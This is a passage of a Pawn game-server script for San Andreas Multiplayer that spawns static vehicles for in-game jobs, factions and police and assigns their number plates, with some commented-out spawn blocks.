	sweeper1 = AddStaticVehicle(574,1619.113647,-1894.366088,13.274298,356.746765,1,1);//Vehid:698 Title:Sweeper
	sweeper2 = AddStaticVehicle(574,1621.700439,-1894.421142,13.245984,355.549957,1,1);//Vehid:699 Title:Sweeper
	sweeper3 = AddStaticVehicle(574,1624.239746,-1894.526367,13.275562,355.925262,1,1);//Vehid:700 Title:Sweeper
	sweeper4 = AddStaticVehicle(574,1626.926513,-1894.804199,13.277963,355.415344,1,1);//Vehid:701 Title:Sweeper
	sweeper5 = AddStaticVehicle(574,1616.607299,-1894.257202,13.273591,356.176177,1,1);//Vehid:702 Title:Sweeper
	
	unkcar1 = AddStaticVehicleEx(560, 834.1105, -1453.5225, 13.3112, 267.3634, 169, 169, 1000);// 697
	unkcar2 = AddStaticVehicleEx(560, 834.2728, -1449.6307, 13.2989, 266.3808, 169, 169, 1000);
	unkcar3 = AddStaticVehicleEx(560, 834.5285, -1445.6755, 13.2639, 267.0995, 169, 169, 1000);
	unkcar4 = AddStaticVehicleEx(522, 849.4046, -1454.8695, 13.1888, 4.6801, 169, 0, 1000);
	unkcar5 = AddStaticVehicleEx(522, 851.2124, -1454.7312, 13.1872, 356.5917, 169, 0, 1000);
	unkcar6 = AddStaticVehicleEx(522, 852.2459, -1454.7229, 13.1966, 355.7993, 169, 0, 1000);
	unkcar7 = AddStaticVehicleEx(522, 850.2827, -1454.8568, 13.1925, 356.2154, 169, 0, 1000);
	unkcar8 = AddStaticVehicleEx(522, 853.1170, -1454.6169, 13.1964, 356.3445, 169, 0, 1000);
	unkcar9 = AddStaticVehicleEx(522, 853.9884, -1454.6093, 13.1924, 356.0119, 169, 0, 1000);
    unkcar10 = AddStaticVehicleEx(521, 857.7944, -1454.6230, 13.1935, 354.5761, 169, 0, 1000);
	unkcar11 = AddStaticVehicleEx(521, 856.2045, -1454.5209, 13.1966, 1.5160, 169, 0, 1000);
	unkcar12 = AddStaticVehicleEx(521, 856.9230, -1454.6192, 13.1956, 0.7391, 169, 0, 1000);
	unkcar13 = AddStaticVehicleEx(445, 880.7140, -1452.0749, 13.4612, 89.0167, 169, 0, 1000);
	unkcar14 = AddStaticVehicleEx(445, 880.7634, -1455.8060, 13.4351, 88.9071, 169, 0, 1000);
	unkcar15 = AddStaticVehicleEx(445, 880.7505, -1448.1856, 13.4589, 89.9659, 169, 0, 1000);
	unkcar16 = AddStaticVehicleEx(409, 868.0026, -1437.8570, 13.2234, 270.6300, 169, 169, 1000);
	unkcar17 = AddStaticVehicleEx(409, 837.5762, -1437.4801, 13.2154, 89.9210, 169, 169, 1000);// 713
	
	

pdcaraf1 = AddStaticVehicleEx(596, 1602.7368, -1630.7871, 13.2228, 90.7372, 0, 1, 1000);// 714
pdcaraf2 = AddStaticVehicleEx(596, 1602.7534, -1626.8603, 13.2160, 89.7495, 0, 1, 1000);
pdcaraf3 = AddStaticVehicleEx(596, 1602.7886, -1623.3135, 13.2165, 89.4795, 0, 1, 1000);
pdcaraf4 = AddStaticVehicleEx(596, 1602.7966, -1619.8637, 13.2130, 90.0728, 0, 1, 1000);
pdcaraf5 = AddStaticVehicleEx(596, 1602.8493, -1612.6265, 13.2174, 89.3148, 0, 1, 1000);
pdcaraf6 = AddStaticVehicleEx(596, 1602.7973, -1608.9455, 13.2150, 87.7596, 0, 1, 1000);
pdcaraf7 = AddStaticVehicleEx(596, 1602.9373, -1605.5125, 13.2166, 87.0772, 0, 1, 1000);
pdcaraf8 = AddStaticVehicleEx(522, 1577.2675, -1615.9888, 12.9510, 181.8315, 0, 1, 1000);
pdcaraf9 = AddStaticVehicleEx(522, 1576.2031, -1615.8891, 12.9515, 180.8295, 0, 1, 1000);
pdcaraf10 = AddStaticVehicleEx(522, 1575.0372, -1615.8585, 12.9510, 184.3424, 0, 1, 1000);
pdcaraf11 = AddStaticVehicleEx(522, 1572.9410, -1615.7451, 12.9544, 179.2356, 0, 1, 1000);
pdcaraf12 = AddStaticVehicleEx(522, 1573.8372, -1615.8892, 12.9510, 184.9444, 0, 1, 1000);
pdcaraf13 = AddStaticVehicleEx(522, 1576.1721, -1612.4332, 12.9445, 180.9202, 0, 1, 1000);
pdcaraf14 = AddStaticVehicleEx(522, 1577.2686, -1612.4730, 12.9542, 178.5850, 0, 1, 1000);
pdcaraf15 = AddStaticVehicleEx(522, 1574.8103, -1612.4550, 12.9284, 183.1881, 0, 1, 1000);
pdcaraf16 = AddStaticVehicleEx(522, 1573.4641, -1612.5402, 12.9372, 179.5377, 0, 1, 1000);
pdcaraf17 = AddStaticVehicleEx(522, 1572.5692, -1612.4814, 12.9502, 183.7348, 0, 1, 1000);
pdcaraf18 = AddStaticVehicleEx(522, 1574.7783, -1608.7586, 12.9549, 181.2860, 0, 1, 1000);
pdcaraf19 = AddStaticVehicleEx(522, 1576.0517, -1608.8275, 12.9535, 182.3746, 0, 1, 1000);
pdcaraf20 = AddStaticVehicleEx(522, 1573.8100, -1608.8795, 12.9544, 179.4145, 0, 1, 1000);
pdcaraf21 = AddStaticVehicleEx(522, 1572.3743, -1608.8585, 12.9582, 182.3457, 0, 1, 1000);
pdcaraf22 = AddStaticVehicleEx(522, 1577.2209, -1608.6915, 12.9514, 178.7253, 0, 1, 1000);
pdcaraf23 = AddStaticVehicleEx(596, 1600.2487, -1687.9050, 5.6035, 90.5935, 0, 1, 1000);
pdcaraf24 = AddStaticVehicleEx(596, 1600.7045, -1696.1739, 5.6109, 90.3855, 0, 1, 1000);
pdcaraf25 = AddStaticVehicleEx(522, 1600.0673, -1708.1046, 5.4619, 1.5085, 0, 1, 1000);
pdcaraf26 = AddStaticVehicleEx(522, 1598.8419, -1708.1400, 5.3599, 5.4029, 0, 1, 1000);
pdcaraf27 = AddStaticVehicleEx(522, 1601.7424, -1708.0471, 5.4357, 359.8753, 0, 1, 1000);
pdcaraf28 = AddStaticVehicleEx(522, 1603.1823, -1708.0545, 5.4630, 5.8925, 0, 1, 1000);
pdcaraf29 = AddStaticVehicleEx(522, 1598.8911, -1711.1611, 5.4596, 88.8772, 0, 1, 1000);
pdcaraf30 = AddStaticVehicleEx(522, 1598.9989, -1714.3133, 5.4605, 89.7118, 0, 1, 1000);
pdcaraf31 = AddStaticVehicleEx(522, 1598.8812, -1712.7624, 5.4592, 89.0958, 0, 1, 1000);
pdcaraf32 = AddStaticVehicleEx(522, 1604.5573, -1708.0708, 5.4970, 358.1472, 0, 1, 1000);
pdcaraf33 = AddStaticVehicleEx(596, 1591.5706, -1709.4635, 5.6111, 359.4633, 0, 1, 1000);
pdcaraf34 = AddStaticVehicleEx(596, 1587.5062, -1709.3710, 5.6106, 0.2513, 0, 1, 1000);
pdcaraf35 = AddStaticVehicleEx(596, 1578.6741, -1708.9454, 5.6102, 359.5510, 0, 1, 1000);
pdcaraf36 = AddStaticVehicleEx(599, 1565.9802, -1711.4527, 6.0832, 358.8305, 0, 1, 1000);
pdcaraf37 = AddStaticVehicleEx(599, 1562.7169, -1711.4775, 6.0767, 4.9767, 0, 1, 1000);
pdcaraf38 = AddStaticVehicleEx(523, 1559.4233, -1693.1701, 5.4633, 183.6676, 0, 1, 1000);
pdcaraf39 = AddStaticVehicleEx(523, 1559.4729, -1696.3116, 5.4659, 179.9314, 0, 1, 1000);
pdcaraf40 = AddStaticVehicleEx(523, 1558.4128, -1696.3829, 5.4659, 183.6020, 0, 1, 1000);
pdcaraf41 = AddStaticVehicleEx(523, 1571.3183, -1696.8498, 5.4510, 181.8470, 0, 1, 1000);
pdcaraf42 = AddStaticVehicleEx(523, 1570.9727, -1692.6127, 5.4567, 181.0180, 0, 1, 1000);
pdcaraf43 = AddStaticVehicleEx(523, 1557.0406, -1693.2828, 5.4595, 180.1755, 0, 1, 1000);
pdcaraf44 = AddStaticVehicleEx(523, 1570.3419, -1696.8668, 5.4569, 181.4790, 0, 1, 1000);
pdcaraf45 = AddStaticVehicleEx(523, 1572.1921, -1692.5651, 5.4618, 179.7700, 0, 1, 1000);
pdcaraf46 = AddStaticVehicleEx(523, 1572.3070, -1696.7425, 5.4416, 178.8923, 0, 1, 1000);
pdcaraf47 = AddStaticVehicleEx(523, 1557.0460, -1696.3316, 5.4015, 181.5237, 0, 1, 1000);
pdcaraf48 = AddStaticVehicleEx(523, 1570.1003, -1692.7429, 5.4577, 183.0134, 0, 1, 1000);
pdcaraf49 = AddStaticVehicleEx(523, 1558.1372, -1693.2017, 5.5048, 182.8471, 0, 1, 1000);
pdcaraf50 = AddStaticVehicleEx(596, 1529.7691, -1688.1699, 5.6115, 269.5653, 0, 1, 1000);// 763
	
oilcar1 = AddStaticVehicleEx(524, 285.8398, 1340.4764, 11.5202, 358.9761, 50, 50, -1);
oilcar2 = AddStaticVehicleEx(524, 281.5281, 1340.3505, 11.5102, 357.3825, 50, 50, -1);
oilcar3 = AddStaticVehicleEx(524, 259.7976, 1340.1087, 11.2233, 0.0439, 50, 50, -1);
oilcar4 = AddStaticVehicleEx(524, 277.7814, 1340.3105, 11.5275, 0.9714, 50, 50, -1);
oilcar5 = AddStaticVehicleEx(524, 273.7209, 1340.2824, 11.5319, 1.2370, 50, 50, -1);
oilcar6 = AddStaticVehicleEx(524, 269.1108, 1340.2309, 11.5975, 1.0854, 50, 50, -1);
oilcar7 = AddStaticVehicleEx(524, 264.3973, 1340.4725, 11.5179, 0.2592, 50, 50, -1);
	
	
	
/*
	AddStaticVehicle(447, 1190.1492, 767.5202, 11.6384, -182.3400, -1, -1);
	AddStaticVehicle(447, 1167.9762, 767.0905, 11.6384, -181.9200, -1, -1);
	AddStaticVehicle(432, 1241.3019, 765.7263, 10.7575, 186.1200, -1, -1);
	AddStaticVehicle(470, 1247.3174, 765.5280, 10.6392, -176.4599, -1, -1);
	AddStaticVehicle(470, 1251.5212, 765.7889, 10.6392, -178.4400, -1, -1);
	AddStaticVehicle(470, 1255.8715, 766.0165, 10.6392, -183.4799, -1, -1);
	AddStaticVehicle(427, 1269.5240, 769.8983, 10.6349, 179.4600, 0, 1);
	AddStaticVehicle(427, 1273.8622, 769.9363, 10.6349, 179.4600, 0, 1);
	AddStaticVehicle(427, 1278.1735, 769.9020, 10.6349, 178.1400, 0, 1);
	AddStaticVehicle(427, 1283.1052, 770.0507, 10.6349, 178.1400, 0, 1);
*/

	/*
	army1 = AddStaticVehicle(432, 1224.8173, 729.1976, 10.7041, -126.1200, -1, -1);
	army2 = AddStaticVehicle(432, 1284.1746, 712.4111, 10.6338, 118.3200, -1, -1);
	army3 = AddStaticVehicle(432, 1239.6600, 766.0092, 10.6152, -182.8199, -1, -1);
	army4 = AddStaticVehicle(433, 1251.2335, 765.1559, 11.3720, -180.7800, -1, -1);
	army5 = AddStaticVehicle(433, 1245.3533, 765.2537, 11.3720, -182.0400, -1, -1);
	army6 = AddStaticVehicle(470, 1267.1520, 771.7410, 10.4566, -179.1600, -1, -1);
	army7 = AddStaticVehicle(470, 1270.9102, 771.5593, 10.4566, -179.1600, -1, -1);
	army8 = AddStaticVehicle(470, 1275.3680, 771.3195, 10.4566, -179.1600, -1, -1);
	army9 = AddStaticVehicle(470, 1279.4952, 771.3138, 10.4566, -179.1600, -1, -1);
	army10 = AddStaticVehicle(433, 1285.6926, 770.5747, 11.1021, 176.5799, -1, -1);
	army11 = AddStaticVehicle(447, 1195.2621, 748.5425, 11.4396, -118.0800, -1, -1);
	army12 = AddStaticVehicle(447, 1211.1051, 731.5877, 12.1658, -116.4000, -1, -1);
	army13 = AddStaticVehicle(447, 1299.3065, 718.1692, 10.3987, 55.0800, -1, -1);
	army14 = AddStaticVehicle(417, 1234.0969, 743.7731, 10.4309, -124.6200, -1, -1);
	army15 = AddStaticVehicle(548, 1293.8674, 702.4218, 12.5274, 37.6200, -1, -1);

	army16 = AddStaticVehicle(468,1265.738647,757.421997,10.422290,178.596908,102,102);//Vehid:739 Title:Sanchez
	army17 = AddStaticVehicle(468,1264.262451,757.441467,10.404783,180.283950,102,102);//Vehid:731 Title:Sanchez
	army18 = AddStaticVehicle(468,1262.687133,757.407165,10.428466,177.485870,102,102);//Vehid:729 Title:Sanchez
	army19 = AddStaticVehicle(468,1260.793212,757.336914,10.421469,181.907714,102,102);//Vehid:727 Title:Sanchez
	army20 = AddStaticVehicle(468,1259.174194,757.365417,10.437201,175.033477,102,102);//Vehid:726 Title:Sanchez
	army21 = AddStaticVehicle(468,1257.432739,757.281372,10.432752,180.503585,102,102);//Vehid:724 Title:Sanchez
	army22 = AddStaticVehicle(468,1267.186889,757.487426,10.410426,180.825454,102,102);//Vehid:741 Title:Sanchez
	*/

	//theend
	//-------[CAR PLATS]--------------------------------------------------------

	SetVehicleNumberPlate(lmcar1, "LM Mafia");
	SetVehicleNumberPlate(lmcar2, "LM Mafia");
	SetVehicleNumberPlate(lmcar3, "LM Mafia");
	SetVehicleNumberPlate(lmcar4, "LM Mafia");
	SetVehicleNumberPlate(lmcar5, "LM Mafia");
	SetVehicleNumberPlate(lmcar6, "LM Mafia");
	SetVehicleNumberPlate(lmcar7, "LM Mafia");
	SetVehicleNumberPlate(lmcar8, "LM Mafia");
	SetVehicleNumberPlate(lmcar9, "LM Mafia");
	SetVehicleNumberPlate(lmcar10, "LM Mafia");
	SetVehicleNumberPlate(lmcar11, "LM Mafia");
	SetVehicleNumberPlate(lmcar12, "LM Mafia");
SetVehicleNumberPlate(hitmav, "HIT 011");
SetVehicleNumberPlate(hitmav1, "HIT 458");
SetVehicleNumberPlate(hitmav2, "HIT 009");
SetVehicleNumberPlate(hitmav3, "HIT 050");
	SetVehicleNumberPlate(sweeper1, "Sweeper Job");
	SetVehicleNumberPlate(sweeper2, "Sweeper Job");
	SetVehicleNumberPlate(sweeper3, "Sweeper Job");
	SetVehicleNumberPlate(sweeper4, "Sweeper Job");
	SetVehicleNumberPlate(sweeper5, "Sweeper Job");

	SetVehicleNumberPlate(pizza1, "PizzaBoy");
	SetVehicleNumberPlate(pizza2, "PizzaBoy");
	SetVehicleNumberPlate(pizza3, "PizzaBoy");
	SetVehicleNumberPlate(pizza4, "PizzaBoy");
	SetVehicleNumberPlate(pizza5, "PizzaBoy");
	SetVehicleNumberPlate(pizza6, "PizzaBoy");

	SetVehicleNumberPlate(stormc1, "Storm Men Family");
	SetVehicleNumberPlate(stormc2, "Storm Men Family");
	SetVehicleNumberPlate(stormc3, "Storm Men Family");
	SetVehicleNumberPlate(stormc4, "Storm Men Family");
	SetVehicleNumberPlate(stormc5, "Storm Men Family");
	SetVehicleNumberPlate(stormc6, "Storm Men Family");
	SetVehicleNumberPlate(stormc7, "Storm Men Family");
	SetVehicleNumberPlate(stormc8, "Storm Men Family");
	SetVehicleNumberPlate(stormc9, "Storm Men Family");
	SetVehicleNumberPlate(stormc10, "Storm Men Family");
	SetVehicleNumberPlate(stormc11, "Storm Men Family");
	SetVehicleNumberPlate(stormc12, "Storm Men Family");

	SetVehicleNumberPlate(TBFc1, "FNF Family");
	SetVehicleNumberPlate(TBFc2, "FNF Family");
	SetVehicleNumberPlate(TBFc3, "FNF Family");
	SetVehicleNumberPlate(TBFc4, "FNF Family");
	SetVehicleNumberPlate(TBFc5, "FNF Family");
	SetVehicleNumberPlate(TBFc6, "FNF Family");
	SetVehicleNumberPlate(TBFc7, "FNF Family");
	SetVehicleNumberPlate(TBFc8, "FNF Family");
	SetVehicleNumberPlate(TBFc9, "FNF Family");
	SetVehicleNumberPlate(TBFc10, "FNF Family");
	SetVehicleNumberPlate(TBFc11, "FNF Family");
	SetVehicleNumberPlate(TBFc12, "FNF Family");
	SetVehicleNumberPlate(TBFc13, "FNF Family");

	SetVehicleNumberPlate(dtc1, "DTF");
	SetVehicleNumberPlate(dtc2, "DTF");
	SetVehicleNumberPlate(dtc3, "DTF");
	SetVehicleNumberPlate(dtc4, "DTF");
	SetVehicleNumberPlate(dtc5, "DTF");
	SetVehicleNumberPlate(dtc6, "DTF");
	SetVehicleNumberPlate(dtc7, "DTF");
	SetVehicleNumberPlate(dtc8, "DTF");
	SetVehicleNumberPlate(dtc9, "DTF");
	SetVehicleNumberPlate(dtc10, "DTF");
	SetVehicleNumberPlate(dtc11, "DTF");
	SetVehicleNumberPlate(dtc12, "DTF");
	SetVehicleNumberPlate(dtc13, "DTF");
	SetVehicleNumberPlate(dtc14, "DTF");

	SetVehicleNumberPlate(tkc, "Killers");
	SetVehicleNumberPlate(smcar, "Silence");

    SetVehicleNumberPlate(oilcar1, "OIL 01");
    SetVehicleNumberPlate(oilcar2, "OIL 02");
    SetVehicleNumberPlate(oilcar3, "OIL 03");
    SetVehicleNumberPlate(oilcar4, "OIL 04");
    SetVehicleNumberPlate(oilcar5, "OIL 05");
    SetVehicleNumberPlate(oilcar6, "OIL 06");
    SetVehicleNumberPlate(oilcar7, "OIL 07");

    SetVehicleNumberPlate(unkcar1, "UNK 697");
    SetVehicleNumberPlate(unkcar2, "UNK 698");
    SetVehicleNumberPlate(unkcar3, "UNK 699");
    SetVehicleNumberPlate(unkcar4, "UNK 700");
    SetVehicleNumberPlate(unkcar5, "UNK 701");
    SetVehicleNumberPlate(unkcar6, "UNK 702");
    SetVehicleNumberPlate(unkcar7, "UNK 703");
    SetVehicleNumberPlate(unkcar8, "UNK 704");
    SetVehicleNumberPlate(unkcar9, "UNK 705");
    SetVehicleNumberPlate(unkcar10, "UNK 706");
    SetVehicleNumberPlate(unkcar11, "UNK 707");
    SetVehicleNumberPlate(unkcar12, "UNK 708");
    SetVehicleNumberPlate(unkcar13, "UNK 709");
    SetVehicleNumberPlate(unkcar14, "UNK 710");
    SetVehicleNumberPlate(unkcar15, "UNK 711");
    SetVehicleNumberPlate(unkcar16, "UNK 712");
    SetVehicleNumberPlate(unkcar17, "UNK 713");

	SetVehicleNumberPlate(pdcaraf1, "LSPD 714");
	SetVehicleNumberPlate(pdcaraf2, "LSPD 715");
	SetVehicleNumberPlate(pdcaraf3, "LSPD 716");
	SetVehicleNumberPlate(pdcaraf4, "LSPD 717");
	SetVehicleNumberPlate(pdcaraf5, "LSPD 718");
	SetVehicleNumberPlate(pdcaraf6, "LSPD 719");
	SetVehicleNumberPlate(pdcaraf7, "LSPD 720");
	SetVehicleNumberPlate(pdcaraf8, "LSPD 721");
	SetVehicleNumberPlate(pdcaraf9, "LSPD 722");
	SetVehicleNumberPlate(pdcaraf10, "LSPD 723");
	SetVehicleNumberPlate(pdcaraf11, "LSPD 724");
	SetVehicleNumberPlate(pdcaraf12, "LSPD 725");
	SetVehicleNumberPlate(pdcaraf13, "LSPD 726");
	SetVehicleNumberPlate(pdcaraf14, "LSPD 727");
	SetVehicleNumberPlate(pdcaraf15, "LSPD 728");
	SetVehicleNumberPlate(pdcaraf16, "LSPD 729");
	SetVehicleNumberPlate(pdcaraf17, "LSPD 730");
	SetVehicleNumberPlate(pdcaraf18, "LSPD 731");
	SetVehicleNumberPlate(pdcaraf19, "LSPD 732");
	SetVehicleNumberPlate(pdcaraf20, "LSPD 733");
	SetVehicleNumberPlate(pdcaraf21, "LSPD 734");
	SetVehicleNumberPlate(pdcaraf22, "LSPD 735");
	SetVehicleNumberPlate(pdcaraf23, "LSPD 736");
	SetVehicleNumberPlate(pdcaraf24, "LSPD 737");
	SetVehicleNumberPlate(pdcaraf25, "LSPD 738");
	SetVehicleNumberPlate(pdcaraf26, "LSPD 739");
	SetVehicleNumberPlate(pdcaraf27, "LSPD 740");
	SetVehicleNumberPlate(pdcaraf28, "LSPD 741");
	SetVehicleNumberPlate(pdcaraf29, "LSPD 742");
	SetVehicleNumberPlate(pdcaraf30, "LSPD 743");
	SetVehicleNumberPlate(pdcaraf31, "LSPD 744");
	SetVehicleNumberPlate(pdcaraf32, "LSPD 745");
	SetVehicleNumberPlate(pdcaraf33, "LSPD 746");
	SetVehicleNumberPlate(pdcaraf34, "LSPD 747");
	SetVehicleNumberPlate(pdcaraf35, "LSPD 748");
	SetVehicleNumberPlate(pdcaraf36, "LSPD 749");
	SetVehicleNumberPlate(pdcaraf37, "LSPD 750");
	SetVehicleNumberPlate(pdcaraf38, "LSPD 751");
	SetVehicleNumberPlate(pdcaraf39, "LSPD 752");
	SetVehicleNumberPlate(pdcaraf40, "LSPD 753");
	SetVehicleNumberPlate(pdcaraf41, "LSPD 754");
	SetVehicleNumberPlate(pdcaraf42, "LSPD 755");
	SetVehicleNumberPlate(pdcaraf43, "LSPD 756");
	SetVehicleNumberPlate(pdcaraf44, "LSPD 757");
	SetVehicleNumberPlate(pdcaraf45, "LSPD 758");
	SetVehicleNumberPlate(pdcaraf46, "LSPD 759");
	SetVehicleNumberPlate(pdcaraf47, "LSPD 760");
	SetVehicleNumberPlate(pdcaraf48, "LSPD 761");
	SetVehicleNumberPlate(pdcaraf49, "LSPD 762");
	SetVehicleNumberPlate(pdcaraf50, "LSPD 763");

	SetVehicleNumberPlate(cuncar, "SMF 111");
	SetVehicleNumberPlate(cuncar1, "SMF 101");
	SetVehicleNumberPlate(cuncar3, "SMF 002");
	SetVehicleNumberPlate(cuncar4, "SMF 099");
	SetVehicleNumberPlate(cuncar5, "SMF 156");
	SetVehicleNumberPlate(cuncar6, "SMF 180");
	SetVehicleNumberPlate(cuncar7, "SMF 056");
	SetVehicleNumberPlate(smfcar8, "SMF 012");
	SetVehicleNumberPlate(smfcar9, "SMF 046");
	SetVehicleNumberPlate(smfcar10, "SMF 036");
	SetVehicleNumberPlate(smfcar11, "SMF 085");
	SetVehicleNumberPlate(smfcar12, "SMF 016");
	SetVehicleNumberPlate(smfcar13, "SMF 047");
	SetVehicleNumberPlate(smfcar14, "SMF 013");
	SetVehicleNumberPlate(smfcar15, "SMF 086");
	SetVehicleNumberPlate(smfcar16, "SMF 035");
	SetVehicleNumberPlate(smfcar17, "SMF 540");
	SetVehicleNumberPlate(smfcar18, "SMF 850");
	SetVehicleNumberPlate(corcar, "KMF 111");
	SetVehicleNumberPlate(corcar1, "KMF 210");
	SetVehicleNumberPlate(corcar3, "KMF 184");
	SetVehicleNumberPlate(corcar4, "KMF 009");
	SetVehicleNumberPlate(corcar5, "KMF 001");
	SetVehicleNumberPlate(kmfcar8, "KMF 135");
	SetVehicleNumberPlate(kmfcar9, "KMF 456");
	SetVehicleNumberPlate(kmfcar10, "KMF 124");
	SetVehicleNumberPlate(kmfcar11, "KMF 456");
	SetVehicleNumberPlate(kmfcar12, "KMF 054");
	SetVehicleNumberPlate(kmfcar13, "KMF 356");
	SetVehicleNumberPlate(kmfcar14, "KMF 785");
	SetVehicleNumberPlate(kmfcar15, "KMF 459");
	SetVehicleNumberPlate(kmfcar16, "KMF 345");
	SetVehicleNumberPlate(kmfcar17, "KMF 468");
	SetVehicleNumberPlate(kmfcar18, "KMF 423");
	SetVehicleNumberPlate(kmfcar19, "KMF 124");
	SetVehicleNumberPlate(kmfcar20, "KMF 267");

	SetVehicleNumberPlate(barcar, "DGT 235");
	SetVehicleNumberPlate(barcar2, "DGT 201");
	SetVehicleNumberPlate(barcar3, "DGT 012");
	SetVehicleNumberPlate(barcar4, "DGT 320");
	SetVehicleNumberPlate(barcar5, "DGT 118");
	SetVehicleNumberPlate(barcar6, "DGT 251");


	SetVehicleNumberPlate(patcar, "TG 100");
	SetVehicleNumberPlate(patcar1, "TG 093");
	SetVehicleNumberPlate(patcar2, "TG 014");
	SetVehicleNumberPlate(patcar4, "TG 020");
	SetVehicleNumberPlate(patcar5, "TG 001");
	SetVehicleNumberPlate(patcar6, "TG 321");
	SetVehicleNumberPlate(patcar7, "The Ballas");
	SetVehicleNumberPlate(tcc1, "TTC 005");
	SetVehicleNumberPlate(tcc2, "TTC 101");
	SetVehicleNumberPlate(tcc3, "TTC 118");
	SetVehicleNumberPlate(tcc4, "TTC 121");
	SetVehicleNumberPlate(tcc5, "TTC 080");
	SetVehicleNumberPlate(tcc6, "TTC 201");
	SetVehicleNumberPlate(dmv1, "Exam 01");
	SetVehicleNumberPlate(dmv2, "Exam 02");
	SetVehicleNumberPlate(dmv3, "Exam 03");
	SetVehicleNumberPlate(dmv4, "Exam 04");
	SetVehicleNumberPlate(dmv5, "Exam 05");
	SetVehicleNumberPlate(dmv6, "Exam 06");
	SetVehicleNumberPlate(dmv7, "Exam 07");
	
	
    SetVehicleNumberPlate(newsrpx6=AddStaticVehicleEx(582, -327.1846, 1516.6086, 75.4170, 0.2848, 112, 116, -1), "NR06");
    SetVehicleNumberPlate(newsrpx7=AddStaticVehicleEx(582, -323.8005, 1516.5932, 75.3906, 0.3229, 112, 116, -1), "NR07");
    SetVehicleNumberPlate(newsrpx8=AddStaticVehicleEx(582, -320.9495, 1516.4925, 75.4119, 1.1386, 112, 116, -1), "NR08");
    SetVehicleNumberPlate(newsrpx9=AddStaticVehicleEx(582, -318.0624, 1516.5684, 75.4213, 359.2559, 112, 116, -1), "NR09");
    SetVehicleNumberPlate(newsrpx10=AddStaticVehicleEx(582, -314.7621, 1516.5339, 75.4155, 359.4526, 112, 116, -1), "NR10");
    SetVehicleNumberPlate(newsrpx11=AddStaticVehicleEx(488, -293.0197, 1556.6352, 75.5377, 221.7245, 2, 111, -1), "NR11");
    SetVehicleNumberPlate(newsrpx12=AddStaticVehicleEx(488, -368.5563, 1542.7600, 75.7397, 225.2283, 2, 111, -1), "NR12");
	
	
	
/*
	CreateVehicle(532, -6462.9009, -1277.4279, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6459.2144, -1284.6553, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6458.8247, -1297.7112, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6457.7036, -1311.3757, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6457.2056, -1276.9248, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6457.0864, -1327.7462, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6459.9668, -1338.6039, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6456.3691, -1344.4374, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6457.8428, -1354.2968, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6455.2661, -1359.8594, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6456.5679, -1366.9109, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6454.0220, -1373.9573, 955.1999, 2.1600, -1, -1, -1);
	CreateVehicle(532, -6456.5679, -1366.9109, 955.1999, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6456.1455, -1380.5880, 955.1999, 2.1600, -1, -1, -1);
	CreateVehicle(532, -6453.7402, -1387.7803, 955.1999, 2.1600, -1, -1, -1);
	CreateVehicle(532, -6455.5957, -1394.1769, 955.1999, 2.1600, -1, -1, -1);
	CreateVehicle(532, -6453.1201, -1399.0038, 955.1999, 2.1600, -1, -1, -1);
	CreateVehicle(532, -6466.1846, -1276.7865, 1012.6384, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6464.6265, -1264.9801, 1012.6384, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6462.7900, -1278.8063, 1012.6384, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6465.0610, -1272.9218, 1012.6384, 0.0000, -1, -1, -1);
	CreateVehicle(532, -6466.2764, -1285.4540, 1012.6384, -0.0600, -1, -1, -1);
	CreateVehicle(532, -6463.5024, -1287.5834, 1012.6384, -0.0600, -1, -1, -1);
	CreateVehicle(532, -6464.5815, -1293.7899, 1012.6384, -0.0600, -1, -1, -1);
	CreateVehicle(532, -6462.8716, -1296.0093, 1012.6384, 0.1200, -1, -1, -1);
	CreateVehicle(532, -6465.7300, -1299.4279, 1012.6384, 0.1200, -1, -1, -1);
	CreateVehicle(532, -6464.5225, -1306.1903, 1012.6384, 0.1200, -1, -1, -1);
	CreateVehicle(532, -6465.2886, -1311.3591, 1012.6384, -1.0200, -1, -1, -1);
	CreateVehicle(532, -6463.3154, -1315.4174, 1012.6384, -1.0200, -1, -1, -1);
	CreateVehicle(532, -6465.1729, -1318.9919, 1012.6384, -1.0200, -1, -1, -1);
	CreateVehicle(532, -6463.5337, -1322.6760, 1012.6384, -1.0200, -1, -1, -1);
	CreateVehicle(532, -6465.8984, -1329.8755, 1012.6384, -1.0200, -1, -1, -1);
	CreateVehicle(532, -6462.4165, -1334.8735, 1012.6384, -1.0200, -1, -1, -1);
	CreateVehicle(532, -6464.5571, -1338.4740, 1012.6384, -1.0200, -1, -1, -1);
	CreateVehicle(532, -6461.7695, -1344.1868, 1012.6384, -1.5600, -1, -1, -1);
	CreateVehicle(532, -6464.5571, -1338.4740, 1012.6384, -1.0200, -1, -1, -1);
	CreateVehicle(532, -6464.3252, -1348.4858, 1012.6384, -1.5600, -1, -1, -1);
	CreateVehicle(532, -6461.9995, -1352.1604, 1012.6384, -1.5600, -1, -1, -1);
	CreateVehicle(532, -6465.0146, -1358.2577, 1012.6384, -1.5600, -1, -1, -1);
	CreateVehicle(532, -6461.6382, -1364.7992, 1012.6384, -1.5600, -1, -1, -1);
	CreateVehicle(532, -6462.5190, -1371.2146, 1012.6384, -1.5600, -1, -1, -1);
	CreateVehicle(532, -6462.3633, -1379.2635, 1012.6384, -1.5600, -1, -1, -1);
	CreateVehicle(532, -6464.5488, -1385.4978, 1012.6384, -2.8800, -1, -1, -1);
	CreateVehicle(532, -6462.3633, -1379.2635, 1012.6384, -1.5600, -1, -1, -1);
	CreateVehicle(532, -6462.1885, -1389.6375, 1012.6384, -2.8800, -1, -1, -1);
	CreateVehicle(532, -6464.4468, -1396.5614, 1012.6384, -2.8800, -1, -1, -1);
	CreateVehicle(532, -6462.0522, -1404.1631, 1012.6384, -2.8800, -1, -1, -1);
